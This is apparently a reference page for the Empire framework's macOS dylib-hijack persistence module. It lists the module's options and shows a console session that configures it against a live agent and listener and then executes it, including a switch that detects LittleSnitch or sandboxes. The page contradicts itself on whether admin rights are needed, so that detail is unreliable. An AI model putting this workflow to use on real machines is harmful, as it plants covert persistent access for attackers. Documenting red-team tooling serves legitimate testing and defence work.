CreateDylibHijacker - Empire Module


This page contains detailed information about how to use the python/persistence/osx/CreateHijacker Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: CreateDylibHijacker
Module: python/persistence/osx/CreateHijacker
Source code [1]: empire/server/modules/python/persistence/osx/CreateHijacker.yaml
Source code [2]: empire/server/modules/python/persistence/osx/CreateHijacker.py
MITRE ATT&CK: T1157
Language: Python
Needs admin: Yes
OPSEC safe: No
Background: No

The CreateHijacker module configures and Empire dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application. The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the CreateHijacker module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the CreateHijacker module:

Agent
Agent to execute module on.

Arch
Arch: x86/x64.
Default value: x86.

LegitimateDylibPath
Full path to the legitimate dylib of the vulnerable application.

Listener
Listener to use.

SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True.

VulnerableRPATH
Full path to where the hijacker should be planted. This will be the RPATH in the Hijack Scanner module.

Additional Module Options

This is a list of additional options that are supported by the CreateHijacker module:

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

CreateHijacker Example Usage

Here's an example of how to use the CreateHijacker module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/persistence/osx/CreateHijacker

 Author       @patrickwardle,@xorrior                                                
 Background   False                                                                  
 Comments     comment                                                                
              https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-   
              os-x                                                                   
 Description  Configures and Empire dylib for use in a Dylib hijack, given the path  
              to a legitimate dylib of a vulnerable application. The architecture of 
              the dylib must match the target application. The configured dylib will 
              be copied local to the hijackerPath                                    
 Language     python                                                                 
 Name         python/persistence/osx/CreateHijacker                                  
 NeedsAdmin   True                                                                   
 OpsecSafe    False                                                                  
 Techniques   http://attack.mitre.org/techniques/T1157                               


,Record Options-------,---------,----------,-------------------------------------,
| Name                | Value   | Required | Description                         |
|---------------------|---------|----------|-------------------------------------|
| Agent               |         | True     | Agent to execute module on.         |
|---------------------|---------|----------|-------------------------------------|
| Arch                | x86     | True     | Arch: x86/x64                       |
|---------------------|---------|----------|-------------------------------------|
| LegitimateDylibPath |         | True     | Full path to the legitimate dylib   |
|                     |         |          | of the vulnerable application       |
|---------------------|---------|----------|-------------------------------------|
| Listener            |         | True     | Listener to use.                    |
|---------------------|---------|----------|-------------------------------------|
| SafeChecks          | True    | True     | Switch. Checks for LittleSnitch or  |
|                     |         |          | a SandBox, exit the staging process |
|                     |         |          | if true. Defaults to True.          |
|---------------------|---------|----------|-------------------------------------|
| UserAgent           | default | False    | User-agent string to use for the    |
|                     |         |          | staging request (default, none, or  |
|                     |         |          | other).                             |
|---------------------|---------|----------|-------------------------------------|
| VulnerableRPATH     |         | True     | Full path to where the hijacker     |
|                     |         |          | should be planted. This will be the |
|                     |         |          | RPATH in the Hijack Scanner module. |
'---------------------'---------'----------'-------------------------------------'

(Empire: usemodule/python/persistence/osx/CreateHijacker) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set Arch x86
[*] Set Arch to x86
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set LegitimateDylibPath value
[*] Set LegitimateDylibPath to value
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set VulnerableRPATH value
[*] Set VulnerableRPATH to value
(Empire: usemodule/python/persistence/osx/CreateHijacker) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.